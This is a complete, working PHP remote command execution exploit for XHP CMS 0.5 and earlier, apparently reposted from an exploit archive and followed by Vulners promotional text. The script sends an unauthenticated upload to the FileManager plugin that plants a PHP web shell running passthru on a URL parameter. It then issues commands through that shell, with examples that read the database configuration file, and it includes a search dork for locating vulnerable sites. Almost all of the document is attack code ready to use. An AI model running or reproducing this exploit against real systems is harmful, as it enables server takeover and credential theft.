========================================================
XHP CMS <= 0.5 (upload) Remote Command Execution Exploit
========================================================
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "XHP CMS <= 0.5 remote cmmnds xctn\r\n";
echo "by rgod [email protected]\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "dork: \"powered by XHP CMS\"\r\n\r\n";
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to XHP\r\n";
echo "cmd: a shell command\r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /xhp/ cat ./../dbconfig.php\r\n";
echo "php ".$argv[0]." localhost /xhp/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
die;
}
/* explaination:
without to have admin rights, you can have access to FileManager plugin
to upload php files:
http://[target]/[path_to_xhp]/inc/htmlarea/plugins/FileManager/manager.php
or
http://[target]/[path_to_xhp]/inc/htmlarea/plugins/FileManager/standalonemanager.php
after, you can launch commands from them, ex:
http://[target]/[path]/filemanager/suntzu.php?cmd=cat%20./../dbconfig.php
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host=$argv[1];
$path=$argv[2];
$action=$argv[3];
$cmd="";$port=80;$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
srand(make_seed());
$anumber = rand(1,99999);
echo "[1] Uploading a shell...\r\n";
$data='-----------------------------7d61592213049c
Content-Disposition: form-data; name="dir"
/
-----------------------------7d61592213049c
Content-Disposition: form-data; name="upload"; filename="suntzu'.$anumber.'.php"
Content-Type: text/plain
<?php
if (get_magic_quotes_gpc()){$_GET[cmd]=stripslashes($_GET[cmd]);}
ini_set("max_execution_time",0);
echo "*delim*";
passthru($_GET[cmd]);
echo "*delim*";
?>
-----------------------------7d61592213049c
Content-Disposition: form-data; name="submit"
Upload
-----------------------------7d61592213049c--
';
$packet="POST ".$p."inc/htmlarea/plugins/FileManager/images.php HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61592213049c\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
#echo quick_dump($packet);
sendpacketii($packet);
sleep(1);
echo "[2] Launch commands...\r\n";
$packet="GET ".$p."filemanager/suntzu".$anumber.".php?cmd=".$cmd." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"*delim*"))
{
echo "Exploit succeeded...\r\n\r\n";
$temp=explode("*delim*",$html);
echo $temp[1];
}
else
{echo "Exploit failed...\r\n";}
?>
# 0day.today [2018-04-09] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation